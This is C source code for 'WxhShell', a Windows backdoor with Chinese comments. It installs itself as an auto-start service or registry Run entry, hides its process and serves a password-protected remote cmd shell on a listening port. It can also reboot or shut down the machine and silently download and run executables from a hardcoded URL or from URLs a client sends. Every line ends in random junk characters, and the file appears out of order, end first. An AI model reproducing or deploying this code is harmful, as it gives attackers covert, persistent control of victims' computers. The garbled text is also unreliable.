    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); JN|VPvjE   
    if(Boot(SHUTDOWN)) >T QZk4$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,z[(k"  
    else { GkciA{  
    closesocket(wsh); |AC6sfA+  
    ExitThread(0); KJdz v!l=  
    } M%|f+u&  
    break; rd" &QB{  
    } kZv*rWAm  
  // 获取shell |(RZ/d<X\a  
  case 's': { f1J %]g!  
    CmdShell(wsh); _Z.cMYN  
    closesocket(wsh); ~z`/9 ;  
    ExitThread(0); Dkw*Je#6PX  
    break; jq[x DwPG  
  } l2s{~IC  
  // 退出 c.0]1  
  case 'x': { vd(dNu&,<  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); kW +G1|  
    CloseIt(wsh); BGzO!s*@j  
    break; $kl$D"*0  
    } R6<4"?*r  
  // 离开 x2m]Us@LIU  
  case 'q': { 9n 6fXOC  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); np=kTJ  
    closesocket(wsh); vhpvO >Q  
    WSACleanup(); 8YKQIt K  
    exit(1); Wcn[gn<  
    break; b2s~%}T  
        } Z2bUs!0  
  } (u9Zk~)F  
  } fv2=B )8$  
?:/|d\,7@  
  // 提示信息 mW +tV1XjG  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0+j}};   
} fGTOIi@#  
  } HY*\ k#  
V7@ { D  
  return; 4TVwa(cB  
} ;wgFr.#hp@  
7wi%j!  
// shell模块句柄 Q;wB{vr$  
int CmdShell(SOCKET sock) 'F7VM?HBfg  
{ N5!&~~  
STARTUPINFO si; [q3+$W \r  
ZeroMemory(&si,sizeof(si)); >)3VbO  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W+hV9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |!}wF}iLc)  
PROCESS_INFORMATION ProcessInfo; !M^\f N1  
char cmdline[]="cmd"; !DcX8~~@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +$,dwyI2t  
  return 0; >|nt2  
} Q1T@oxV  
jI0]LD1k  
// 自身启动模式 Ag6uR(uI  
int StartFromService(void) uLK(F B  
{ zmbZ  
typedef struct )5GQJiY  
{ 1.0J2nZpt  
  DWORD ExitStatus; { i;6vRr  
  DWORD PebBaseAddress; 7"K^H]6u30  
  DWORD AffinityMask; z 6cYC,  
  DWORD BasePriority; mp:m`sh*i  
  ULONG UniqueProcessId; L;yEz[#xaT  
  ULONG InheritedFromUniqueProcessId; uA%Ts*aN  
}   PROCESS_BASIC_INFORMATION; 0H+c4IW  
#8UseK  
PROCNTQSIP NtQueryInformationProcess; [b;Uz|o  
-l[jEJS}  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (}jL_E  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; jCQho-1QN  
K(3&27sGN  
  HANDLE             hProcess; P^zy;Qs7  
  PROCESS_BASIC_INFORMATION pbi; |X3">U +-  
On%,l  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )E-E0Hl>7  
  if(NULL == hInst ) return 0; YxyG\J\|,  
!FP"M+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <T4(H[9B  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Wj OH/$(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [pR)@$"k'  
"teyi"U+  
  if (!NtQueryInformationProcess) return 0; X+at%L=  
'=#5(O%pp  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); O9e.=l  
  if(!hProcess) return 0; Abf1"#YImy  
>[Rz <yv  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; TPK@*9rI  
SUu >6'LN  
  CloseHandle(hProcess); >a@>N  
+?V0:Kz]  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [+gzdLad  
if(hProcess==NULL) return 0; l&|)O6N  
X:{WZs"[x  
HMODULE hMod; ]1}h8/  
char procName[255]; ?4sJw:  
unsigned long cbNeeded; 1ktHN: ta  
Z"D W 2k  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); N7pt:G2~%  
_+n;A46  
  CloseHandle(hProcess); WW6yFriuW  
~S;!T  
if(strstr(procName,"services")) return 1; // 以服务启动 yQwVQUW8B  
waQtr,m)  
  return 0; // 注册表启动 PkJcd->  
} ?l 9=$'  
)E~_rDTl  
// 主模块 QkE,T0,/?h  
int StartWxhshell(LPSTR lpCmdLine) Ut_mrb+W  
{ nsl*Dm"*F  
  SOCKET wsl; +V1}@6k :  
BOOL val=TRUE; MWhwMj!:m  
  int port=0; 1|/'"9v  
  struct sockaddr_in door; !qw4mN  
,R}Z=w#  
  if(wscfg.ws_autoins) Install(); $}4K`Iu  
2&x7W*  
port=atoi(lpCmdLine); OpqNEo\  
N8 M'0i?  
if(port<=0) port=wscfg.ws_port; *%?d\8d  
Cya5*U0=  
  WSADATA data; 3 Ta>Ki  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; HEpM4xe$  
8Z!*[c>K-?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   A6i et~h[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [Auc*@  
  door.sin_family = AF_INET; m>YWxa   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <`+zvUx^?  
  door.sin_port = htons(port); -5xCQJ[  
xD0NZ~w%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { H/`G  
closesocket(wsl); a[i>;0  
return 1; Xl?YB Z}  
} Y-]YDXrPQ  
e`AUYli"  
  if(listen(wsl,2) == INVALID_SOCKET) { fkG##!  
closesocket(wsl); 4,zvFH*AH  
return 1; }! =U^A)  
} 97S? ;T  
  Wxhshell(wsl); '=@r7g.2  
  WSACleanup(); H|K("AVP:  
e/@29  
return 0; pZ\$50t&O  
\gd6Yx^[  
} 3&9zGy{V+  
RpAiU  
// 以NT服务方式启动 `VXZ khm  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) */Cj$KY70  
{ 7t3X`db  
DWORD   status = 0; ^r4|{  
  DWORD   specificError = 0xfffffff; iN`6xkY  
0[i}rC9&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; VY_f =  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1vsu[n  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; K plM['uF  
  serviceStatus.dwWin32ExitCode     = 0; JaFUcpZk$  
  serviceStatus.dwServiceSpecificExitCode = 0; eQ\jZ0s;p  
  serviceStatus.dwCheckPoint       = 0; 2/EK`S  
  serviceStatus.dwWaitHint       = 0; ,{+6$h3  
? rQc<;b  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Q)T+r~#2B  
  if (hServiceStatusHandle==0) return; /yp/9r@T0  
{wv&t R;  
status = GetLastError(); }1F6?do3&  
  if (status!=NO_ERROR) &M= 3{[  
{ EIPnm%{1  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; c"qPTjY  
    serviceStatus.dwCheckPoint       = 0; w49{-Pp[  
    serviceStatus.dwWaitHint       = 0; shNE~TA  
    serviceStatus.dwWin32ExitCode     = status; k{{hZ/om  
    serviceStatus.dwServiceSpecificExitCode = specificError; p_9g|B0D  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); lZvS0JS  
    return; Wz5=(<{S  
  } -_HRqw,Z0  
j9>TTgy@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; wB 2}uk7  
  serviceStatus.dwCheckPoint       = 0; =+4 _j  
  serviceStatus.dwWaitHint       = 0; Hh@2m\HA  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "4RQ`.S R  
} }>,CUz  
p>&S7M/9  
// 处理NT服务事件,比如:启动、停止  -tMA  
VOID WINAPI NTServiceHandler(DWORD fdwControl) b@!:=_Mr  
{ *7_@7=W,  
switch(fdwControl) ez+yP,.#  
{ ZqFUPHc  
case SERVICE_CONTROL_STOP: KDBY9`08  
  serviceStatus.dwWin32ExitCode = 0; F0&O/-w&u  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; N2% :h;tf  
  serviceStatus.dwCheckPoint   = 0; ]$|st^Q  
  serviceStatus.dwWaitHint     = 0; S QSA%B$<  
  { WDvV LU`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Pfk{=y  
  } Mn{XVXY@qm  
  return; R~cIT:i  
case SERVICE_CONTROL_PAUSE: p&uCp7]U  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; a-:pJE.'p  
  break; 716hpj#*  
case SERVICE_CONTROL_CONTINUE: OiF]_"  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; RJLFj  
  break; A-;^~I  
case SERVICE_CONTROL_INTERROGATE: ^F&A6{9f/h  
  break; w_GLC%|7  
}; P|8e%P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ym`1<2mq\  
} W}?s^  
k5C>_( A  
// 标准应用程序主函数 _\!0t  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) '(XW$D  
{ 4Lw'v:(  
x.o3iN[=  
// 获取操作系统版本 C6CGj8G  
OsIsNt=GetOsVer(); sjcQaF`=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); OSj%1KL  
m3B \)2B  
  // 从命令行安装 h)P]gT0f/  
  if(strpbrk(lpCmdLine,"iI")) Install(); v/x*]c!"`  
@E YK(QS-  
  // 下载执行文件 (]}XLMi,|!  
if(wscfg.ws_downexe) { $M-NR||k  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Z<I[vp6{  
  WinExec(wscfg.ws_filenam,SW_HIDE); Q+lbN  
} "s${!A)  
Ir^BC!<2>  
if(!OsIsNt) { ^h`!f vyH  
// 如果时win9x,隐藏进程并且设置为注册表启动 \1~I04'=  
HideProc(); bYK]G+Ww  
StartWxhshell(lpCmdLine); -h=c=P  
} dbg|V oNf  
else %Dl_}  
  if(StartFromService()) ea>[BB3#  
  // 以服务方式启动 wD}EW  
  StartServiceCtrlDispatcher(DispatchTable); _m" ^lo  
else 4sI3(z)9H  
  // 普通方式启动 x)d2G 6x  
  StartWxhshell(lpCmdLine); |KTpK(6p  
yTP[,bM  
return 0; D)h["z|F  
} 8dlInms  
aK!xRnY  
>d'EInSF  
qq/_yt  
=========================================== jzQ9zy_  
^971<B(v  
 KzIt  
G;Us-IRZ  
1O|RIv7F[/  
n|J.)E.  
" .\)--+(  
Dxz5NW4  
#include <stdio.h> Gi;9 S  
#include <string.h> RsR] T]4  
#include <windows.h> 7L1\1E:!  
#include <winsock2.h> 0@:Y>qVa  
#include <winsvc.h> O~nBz):2  
#include <urlmon.h> v]l&dgoT  
p_A5C?&  
#pragma comment (lib, "Ws2_32.lib") W6)dUi :"  
#pragma comment (lib, "urlmon.lib") C5BzWgK  
G#^m<G^M  
#define MAX_USER   100 // 最大客户端连接数 an pJAB:1  
#define BUF_SOCK   200 // sock buffer 7=L:m7T  
#define KEY_BUFF   255 // 输入 buffer -`,~9y;tx  
C:WtCAm(  
#define REBOOT     0   // 重启 >aX:gN  
#define SHUTDOWN   1   // 关机 &Jrq5Q C  
vR<fdV  
#define DEF_PORT   5000 // 监听端口 M^Q&A R'F  
h5<T.vV  
#define REG_LEN     16   // 注册表键长度 5?D1][  
#define SVC_LEN     80   // NT服务名长度 q#l.A?rK\  
=ZFcxGo  
// 从dll定义API X+/{%P!w  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Jii?r*"d  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Mr#oT?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); V+P8P7y37B  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {hlT` K  
X}_QZO=z  
// wxhshell配置信息 8}ii3Py  
struct WSCFG { p)K9 ZI  
  int ws_port;         // 监听端口 aE%eJ)+K  
  char ws_passstr[REG_LEN]; // 口令 tU8g(ep,o  
  int ws_autoins;       // 安装标记, 1=yes 0=no !E4E'I=]N  
  char ws_regname[REG_LEN]; // 注册表键名 Nck!z8  
  char ws_svcname[REG_LEN]; // 服务名 c _R)P,P  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 f0:EQYYZ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 v=dKcruR:  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4W[AXDS  
int ws_downexe;       // 下载执行标记, 1=yes 0=no C}t+t  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *>?):-9"6N  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;LwFbkOuU  
\VoB=Ac&  
}; g}\U, (  
?6_"nT*}  
// default Wxhshell configuration Ah(\%35&  
struct WSCFG wscfg={DEF_PORT, Ak<IHp^Q  
    "xuhuanlingzhe", dj8F6\  
    1, buMiJzU  
    "Wxhshell", C5.\;;7^&  
    "Wxhshell", Q1P,=T@  
            "WxhShell Service", $8<j5%/ $M  
    "Wrsky Windows CmdShell Service", GapX$Jb,p  
    "Please Input Your Password: ", Fh*q]1F  
  1, XHwZ+=v  
  "http://www.wrsky.com/wxhshell.exe", HV#?6,U}  
  "Wxhshell.exe" O>)n*OsS  
    }; G2U5[\  
}I` ku.@5  
// 消息定义模块 J)#5 9a  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; xfbK eS8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; bxPY'&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9Bbm7Gd  
char *msg_ws_ext="\n\rExit."; gxBl1  
char *msg_ws_end="\n\rQuit."; o|b[(t$;O  
char *msg_ws_boot="\n\rReboot..."; $1Q3Y'Q9  
char *msg_ws_poff="\n\rShutdown..."; F&nMI:h7  
char *msg_ws_down="\n\rSave to "; n1k$)S$iiy  
Wl9I`Itg  
char *msg_ws_err="\n\rErr!"; a#OhWqu$  
char *msg_ws_ok="\n\rOK!"; Vq)|gF[6i  
#`YxoY`  
char ExeFile[MAX_PATH]; b#/V;  
int nUser = 0; 0+VncL)u  
HANDLE handles[MAX_USER]; 1@1+4P0NF[  
int OsIsNt; U|y;b+n`  
3:02`;3  
SERVICE_STATUS       serviceStatus; b.w(x*a  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; '&_y*"/c  
Up1$xLSl  
// 函数声明 c(_oK ?  
int Install(void); os "[Iji  
int Uninstall(void); mcP{-oJ0W  
int DownloadFile(char *sURL, SOCKET wsh); : . FfE  
int Boot(int flag); #J<`p  
void HideProc(void); |}]JWsuB  
int GetOsVer(void); g0; &/;"  
int Wxhshell(SOCKET wsl); `E4!u=%  
void TalkWithClient(void *cs); q7)]cY_  
int CmdShell(SOCKET sock); cLN[o8 ZU  
int StartFromService(void); ]HZa:aPY  
int StartWxhshell(LPSTR lpCmdLine); '<{oYXZW3  
@+T{M:&l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2F*Dkv  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); g-{<v4NGI  
Aoy1<8WP%  
// 数据结构和表定义 .zSimEOF  
SERVICE_TABLE_ENTRY DispatchTable[] = s[{:>~{iq  
{ %BKR}  
{wscfg.ws_svcname, NTServiceMain}, Z<,CzKs+||  
{NULL, NULL} ;/hH=IT  
}; RT_Pd\(qD  
!4b; >y=m  
// 自我安装 7-G'8t  
int Install(void) 709Uv5  
{ t?#vb}_  
  char svExeFile[MAX_PATH]; C[87f-g  
  HKEY key; 2y .-4?e  
  strcpy(svExeFile,ExeFile); U{za m  
`Q(]AG I2  
// 如果是win9x系统,修改注册表设为自启动 twJ|Jmd  
if(!OsIsNt) { r-\T}e2Gz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { # ZYid t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  t3yQ/  
  RegCloseKey(key); 8wH41v67F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zDGg\cPj9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k_|v)\4B  
  RegCloseKey(key); wr;|\<c  
  return 0; F~d7;x =g  
    } 2A18hP`^  
  } LK-K_!F  
} /Mi-lh^j-  
else { 9B?t3:  
sgb+@&}9n  
// 如果是NT以上系统,安装为系统服务 ,N@Icl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); v[3hnLN%  
if (schSCManager!=0) e$xv[9  
{ 0 z'={6,  
  SC_HANDLE schService = CreateService r{6B+3J  
  ( 9'/|?I  
  schSCManager, #QyK?i*  
  wscfg.ws_svcname, G~iYF(:&  
  wscfg.ws_svcdisp, Z+h7 0,|  
  SERVICE_ALL_ACCESS, ja,L)b:  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , p#8LQP~0$  
  SERVICE_AUTO_START, xjn8)C  
  SERVICE_ERROR_NORMAL, zN8V~M;  
  svExeFile, AN:RY/ %Wo  
  NULL, <DlanczziF  
  NULL, (k)gZD9~{?  
  NULL, Pu\DYP: (  
  NULL, dnWt\>6& 2  
  NULL i&s=!`  
  ); $M3A+6["H  
  if (schService!=0) )zc8bS  
  { uB#B\i  
  CloseServiceHandle(schService); ph&H*Mc  
  CloseServiceHandle(schSCManager); by:xD2 5  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (a)@<RF`Q}  
  strcat(svExeFile,wscfg.ws_svcname); Qig!NgOM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { y\f8Ird  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); id[>!fQ=Y  
  RegCloseKey(key); 1n5e^'z  
  return 0; VOF:+o@.  
    } t[yD8h  
  } %_J/&{6G  
  CloseServiceHandle(schSCManager); 'N5r2JL[w  
} <+1w'-  
} U%PMV?L{  
!L.z4n,n+  
return 1; H1b%:KRVK  
} [\%t<aa  
ALt";8Oa  
// 自我卸载 -_f0AfU/a  
int Uninstall(void) fjZveH0  
{ 4.kkxQR7r  
  HKEY key; uY%3X/^j  
<x;[ H%  
if(!OsIsNt) { 96V, [-arf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uKAHJ$%  
  RegDeleteValue(key,wscfg.ws_regname); @_(@s*4W  
  RegCloseKey(key); $6?KH7lA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #?d>S;)+  
  RegDeleteValue(key,wscfg.ws_regname); 89e.\EH  
  RegCloseKey(key); 6Q?6-,?_  
  return 0; e$+? v2.  
  } Yiw^@T\H`  
} Mn{Rg>X  
} 1Y0oo jD  
else { 8lb `   
OZ]3OL,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $gtT5{"PN(  
if (schSCManager!=0) Uz8C!L ">C  
{ Vm8_ !$F  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <YNPhu~5  
  if (schService!=0) o;-! ?uJ  
  {  ]mU*Y:<  
  if(DeleteService(schService)!=0) { L=Jk"qWV0  
  CloseServiceHandle(schService); dz.MH  
  CloseServiceHandle(schSCManager); 9- <V%eNX  
  return 0; qpH-P8V   
  } (Jr;:[4XC  
  CloseServiceHandle(schService); bL#TR;*]  
  } fOfz^W  
  CloseServiceHandle(schSCManager); N P(?[W  
} }z 2-|"H  
} [eik<1=,~?  
'GO..m"G  
return 1; ,O`*AzjS5Q  
} QO^X7A"?X  
tKViM@T  
// 从指定url下载文件 !Y i<h/:  
int DownloadFile(char *sURL, SOCKET wsh) Iur} ZAz  
{ v%e"4:K}?  
  HRESULT hr; 8@#Y <{  
char seps[]= "/"; (Q} ijwj  
char *token; BPs &  
char *file; J)& +y;.  
char myURL[MAX_PATH]; ,>%r|YSJ)  
char myFILE[MAX_PATH]; b#'a4j-u  
/9# jv]C:  
strcpy(myURL,sURL); I:7,CV  
  token=strtok(myURL,seps);  -~aEqj#?  
  while(token!=NULL) juZ3""  
  { ~PvzUT-^  
    file=token; `d;izQ1_=  
  token=strtok(NULL,seps); ,Yt&PE  
  } *Bz&  
g2_df3Q  
GetCurrentDirectory(MAX_PATH,myFILE); qUg4-Z4  
strcat(myFILE, "\\"); }Q(I&uz  
strcat(myFILE, file); 4f~ZY]|nM  
  send(wsh,myFILE,strlen(myFILE),0); LBi>D`]  
send(wsh,"...",3,0); VDN]P3   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^0~1/ PhOw  
  if(hr==S_OK) P z!yIj  
return 0; fYPU'"hzG  
else O|m-k0n  
return 1; dgD%I  
';V+~pi  
} 3c6)  
6>A8#VT  
// 系统电源模块 } ~bOP^'  
int Boot(int flag) ar}759  
{ iKKWn*u  
  HANDLE hToken; / /rWc,c  
  TOKEN_PRIVILEGES tkp; Om~C0  
ikiy>W8  
  if(OsIsNt) { $KFWV2P  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); uV:;y}T^Z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); fX|,s2-FW  
    tkp.PrivilegeCount = 1; $ wB  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AVZ@?aJgF  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "MN'%"/  
if(flag==REBOOT) { >,2],X"G  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) e.H"!X!0#H  
  return 0; X y<KvFy  
} xK ux5u _  
else { J[AgOUc  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0:8'Ov(  
  return 0; FX 3[U+  
} xI8*sTx 6  
  } K; lC#  
  else { m %3Kq%?O  
if(flag==REBOOT) { 6w ,xb&S  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ITiw) M  
  return 0; v836nxLM  
} ?g.w%Mf*  
else { giq`L1<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2kve?/  
  return 0; \59hW%Di  
} jT0fF  
} D1k]  
XrF9*>ti?  
return 1; P.7B]&T6  
} lU& IS?^?  
jd*H$BU^  
// win9x进程隐藏模块 i[n 1}E.@  
void HideProc(void) S3f BZIPp  
{ /#5ZP\e  
WI3!?>d  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )]R8 $S  
  if ( hKernel != NULL ) Y8(yOVy9  
  { 39CPFgi<l*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); zYsGI<4  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7h~M&\M  
    FreeLibrary(hKernel); X}Fv*  
  } Sm5"Q  
\266N;JrN  
return; #>'0C6Xn  
} /-lmfpT  
\ZH=$c*W  
// 获取操作系统版本 ,s K-gw  
int GetOsVer(void) }S4Fy3)  
{ c,^-nH'X>  
  OSVERSIONINFO winfo; @<L.#gtP  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); CqV \:50g  
  GetVersionEx(&winfo); P/ 5r(l5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) E~ kmU{D  
  return 1; G y2XjO8b  
  else k6\c^%x  
  return 0;  O(!'V~3  
} 3#unh`3b  
=Ju}{ bX  
// 客户端句柄模块 [<hiOB  
int Wxhshell(SOCKET wsl) ^M"g5+ q  
{ RP$A"<goP  
  SOCKET wsh; cW\7yZh  
  struct sockaddr_in client; "+AD+D  
  DWORD myID; f?QD##~;  
!Fi)-o  
  while(nUser<MAX_USER) {Bx\Z0+'&  
{ hSmM OS{  
  int nSize=sizeof(client); gqG"t@Y+  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >e%Po,Fg$  
  if(wsh==INVALID_SOCKET) return 1; <V{BRRx  
QHK$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); aUV>O`|_  
if(handles[nUser]==0) \JchcQ  
  closesocket(wsh); n$QFj'  
else ,bJx| K  
  nUser++; Bb)J8,LQ  
  } A|^?.uIM  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); i2DR}%U  
Lfor 0-j  
  return 0; W7 $yE},z  
} u|E,Wy1  
0#G"{M  
// 关闭 socket |j;`;"+B  
void CloseIt(SOCKET wsh) Q5ux**(Wr  
{ ocvBKsfhE`  
closesocket(wsh); 7">.{ @S  
nUser--; ts ] +W!:  
ExitThread(0); =S,^"D\Z:  
} | zf||ju  
Z6I!4K  
// 客户端请求句柄 H={,zZ11{  
void TalkWithClient(void *cs) r?$\`,;  
{ &nq[Vy0kO4  
+x1sV*S  
  SOCKET wsh=(SOCKET)cs; kDrGl{U}  
  char pwd[SVC_LEN]; <mxUgU  
  char cmd[KEY_BUFF]; Ur@3_F  
char chr[1]; F]&9Lp} "  
int i,j; G} p~VLf  
C/XOI >  
  while (nUser < MAX_USER) { pT <H&  
&8N\ 6K=  
if(wscfg.ws_passstr) { U!h!z`RU54  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5g=" #  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ],LOkAX  
  //ZeroMemory(pwd,KEY_BUFF); 2:]Sy4K{  
      i=0; 0o#lB^e;l  
  while(i<SVC_LEN) { m$kmoY/  
x?k6ek  
  // 设置超时 q+ .=f.+Z  
  fd_set FdRead; <rkF2-K,  
  struct timeval TimeOut; >U17BGJ.  
  FD_ZERO(&FdRead); D^pAf/ek@i  
  FD_SET(wsh,&FdRead); |:AjQ&PM)  
  TimeOut.tv_sec=8; T@L^RaPX  
  TimeOut.tv_usec=0; ?h5Y^}8Qg  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8n56rOW!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]2<g"zo0  
~=71){4A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fRbVc  
  pwd=chr[0]; TZ/u"' ZS  
  if(chr[0]==0xd || chr[0]==0xa) { "/q6E  
  pwd=0; wL{Qni3A  
  break; 3cnsJV]  
  } hk~ s1"  
  i++; N.fIg  
    } uaS?y1:c  
V{8mx70  
  // 如果是非法用户,关闭 socket V/03m3!q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >uVG]  
} F$caKWzny5  
__a9}m4i7x  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); zUOYH4+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4:K9FqU  
-+z^{*\; N  
while(1) { GK)hK-  
]UNmhF!W>u  
  ZeroMemory(cmd,KEY_BUFF); 2Bx\nLf/ K  
Q<M>+U;t  
      // 自动支持客户端 telnet标准   u}pLO9V"`  
  j=0; D=3NI  
  while(j<KEY_BUFF) { (|WqOwmoUt  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8.vD]hO  
  cmd[j]=chr[0]; ] `lTkh  
  if(chr[0]==0xa || chr[0]==0xd) { a+Z/=YUR  
  cmd[j]=0; "Aynt_a.  
  break; m$U2|5un&  
  } y+c+/L8  
  j++; v +7<}  
    } rT x]%{  
>OQ<wO6  
  // 下载文件 ETmfy}V8  
  if(strstr(cmd,"http://")) { DCHU=r  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); c+q4sNnE  
  if(DownloadFile(cmd,wsh)) Qml<JF  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); j_k!9"bt  
  else VlK WWQj  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i`X/d=  
  } iZ&CE5+  
  else { u-8,9  
